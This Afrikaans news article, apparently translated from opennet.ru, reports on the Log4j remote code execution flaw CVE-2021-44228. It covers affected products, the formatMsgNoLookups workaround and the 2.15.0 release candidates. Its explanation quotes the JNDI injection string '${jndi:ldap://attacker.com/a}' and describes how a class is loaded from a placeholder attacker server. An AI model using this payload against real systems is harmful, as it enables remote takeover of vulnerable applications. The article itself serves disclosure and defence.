Katastrofiese kwesbaarheid in Apache Log4j wat baie Java-projekte raak

In Apache Log4j, 'n gewilde raamwerk vir die organisering van aanteken in Java-toepassings, is 'n kritieke kwesbaarheid geïdentifiseer wat toelaat dat arbitrêre kode uitgevoer word wanneer 'n spesiaal geformateerde waarde in die "{jndi:URL}"-formaat na die logboek geskryf word. Die aanval kan uitgevoer word op Java-toepassings wat waardes registreer wat van eksterne bronne ontvang is, byvoorbeeld wanneer problematiese waardes in foutboodskappe vertoon word.

Daar word opgemerk dat byna alle projekte wat raamwerke soos Apache Struts, Apache Solr, Apache Druid of Apache Flink gebruik, deur die probleem geraak word, insluitend Steam, Apple iCloud, Minecraft-kliënte en -bedieners. Daar word verwag dat die kwesbaarheid kan lei tot 'n golf van massiewe aanvalle op korporatiewe toepassings, wat die geskiedenis van kritieke kwesbaarhede in die Apache Struts-raamwerk herhaal, wat volgens 'n rowwe skatting in webtoepassings deur 65% van Fortune gebruik word 100 maatskappye. Insluitend pogings om die netwerk vir kwesbare stelsels te skandeer.

Die probleem word vererger deur die feit dat 'n werkende uitbuiting reeds gepubliseer is, maar regstellings vir die stabiele takke is nog nie saamgestel nie. Die CVE-identifiseerder is nog nie toegeken nie. Die oplossing is slegs by die log4j-2.15.0-rc1-toetstak ingesluit. As 'n oplossing om die kwesbaarheid te blokkeer, word dit aanbeveel om die log4j2.formatMsgNoLookups-parameter op waar te stel.

Die probleem is veroorsaak deur die feit dat log4j die verwerking van spesiale maskers “{}” ondersteun in lynuitvoer na die logboek, waarin JNDI (Java Naming and Directory Interface) navrae uitgevoer kan word. Die aanval kom daarop neer om 'n string deur te gee met die vervanging "${jndi:ldap://attacker.com/a}", by verwerking wat log4j 'n LDAP-versoek sal stuur vir die pad na die Java-klas na die attacker.com-bediener . Die pad wat deur die aanvaller se bediener teruggestuur word (byvoorbeeld http://second-stage.attacker.com/Exploit.class) sal gelaai en uitgevoer word in die konteks van die huidige proses, wat die aanvaller toelaat om arbitrêre kode uit te voer op die stelsel met die regte van die huidige toepassing.

Bylaag 1: Die identifiseerder CVE-2021-44228 is aan die kwesbaarheid toegeken.

Bylaag 2: 'n Manier om die beskerming te omseil wat deur vrystelling log4j-2.15.0-rc1 bygevoeg is, is geïdentifiseer. 'n Nuwe opdatering, log4j-2.15.0-rc2, is voorgestel met meer volledige beskerming teen die kwesbaarheid. Die kode beklemtoon die verandering wat verband hou met die afwesigheid van 'n abnormale beëindiging in die geval van die gebruik van 'n verkeerd geformateerde JNDI URL.

Bron: opennet.ru

Voeg 'n opmerking